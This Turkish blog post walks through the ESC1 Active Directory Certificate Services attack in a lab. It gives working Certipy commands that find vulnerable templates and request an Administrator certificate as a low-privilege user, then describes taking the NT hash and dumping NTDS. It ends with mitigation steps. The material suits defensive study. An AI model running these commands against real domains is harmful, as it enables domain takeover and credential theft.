Abusing Active Directory Certificate Service yazımızda sizlere CA Servisinde bulunan sertifika template’lerden kaynaklı security problemlerine değineceğiz. Bu yazı ilk seri olarak başlamaktadır. Bu yazıda ESC1 yöntemini anlatacağız. Aldığımız tüm domain bazlı önemlere ek olarak Sertifika Servisini gözden geçirdik mi ?
Sertifika Servisinden Domain Admine hatta Administrator(RID 500) hesabına ulaşabilirmiyiz gibi soruların cevabını bulacağız.
Senaryo
- CA Server: CA2019NEW
- CA Service Name:CA2019NEW
- DC IP:10.10.10.18
- RID500: Not Renamed, Administrator
Certifica Sunucumuzda Yeni bir Sertifika Template Oluşturduk. İsmi ESC1 olarak ve Template Şu özelliklere Sahip;
- Client Authentication: True
- Enabled: True
- Enrollee Supplies Subject: True
- Requires Management Approval: False
- Permission: Domain Users or Authenticated Users has Enroll Permission
Template’in tüm özellikleri aşağıdaki gibi sıralanmıştır.
Sonrasında Template publish edilerek kullanıma sunulmuştur.
CERTIPY ile ESC1
İlk olarak kali üzerinde aşağıdaki komutu çalıştırıyoruz. Ve sertifikalara ulaşıyoruz.
certipy find -vulnerable -dc-ip 10.10.10.18 -u username -p password
Sonrasında Dışarıya certificate template’ler txt ve json olarak çıkarıldı.
Sonuç olarak cat komutu ile txt dosyasını açtığımızda ESC1 atağa uyan sertifikamızı görmekteyiz.
VE TEHLİKE BAŞLIYOR………………
Sonrasında Sertifikaya request’de bulunanım UPN’imiz administrator olsun.
certipy req -dc-ip 10.10.10.18 -u standartuser@koray.intra -p 'Password1' -ca CA2019NEW -target CA2019NEW.koray.intra -template ESC1 -upn Administrator@koray.intra -dns Administrator.koray.intra
- target: CA Hostname
- ca: CA Name
- template:Template ismi
Komut sonrasında pfx dosyasına sahibiz.
Şimdi sıra geldi administrator ile authentication olmaya ve NT Hash’i ele geçirmiş olduk artık istediğimiz sunucuya girebiliriz. Özelliklede Domain Controllerlara 🙂
SONRASINI ZATEN BİLMEKTEYİZ……..
Domain Controller’daki share’den başlayarak NTDS dumping’e kadar her türlü yöntem denenmektedir. Tüm DC leri aynı yöntemle operasyonun dışında bırakabilirsiniz gibi bir çok impact yaratmaktadır.
Mitigation
En son olarak bu ataktan kurtulmak için neler yapılabilir. Bu bölümde bundan detaylıca bahsedeceğiz. Öncellikle bu özelliklere sahip sertifikaları nasıl bulabiliriz.
ADSI Edit üzerinden ;
- MSPKI-Enrollment-flag: Manager approval (disable 0)
- MSPKI-RA-Signature: Authorized signature required(no 0)
- MSPKI-Certificate-Name-Flag: Supply object in request (Yes 1)
- MSPKI-Certificate-Application-Policy : Template EKU (Client Authentication :1.3.6.1.5.5.7.3.2)
Bu konuda Microsoft Makelesindeki Powershell script kullanılabilir. Link
Peki sertifika tarafında neler yapılabilir.
İlk olarak Authenticated User , Domain Users ve Domain Computers Enroll yetkisini kaldırılmalıyız.
İkinci olarak Supply in the request’i Build from this Active Directory information kısmına çekilmelidir.
Üçüncü olarak CA Manager Approval açılabilir.
Sonuç olarak Certification Template’de yapılan hatalardan dolayı Domainde administrator kullanıcısının ve diğer kullanıcıların NT Hashleri ele geçirme gibi durumlara düşebilmekteyiz.Abusing Active Directory Certificate Service yazımızın ilk serisinde ESC1 ataktan bahsettik , diğer yazılarımı aşağıdaki kategorilerden takip edebilirsiniz.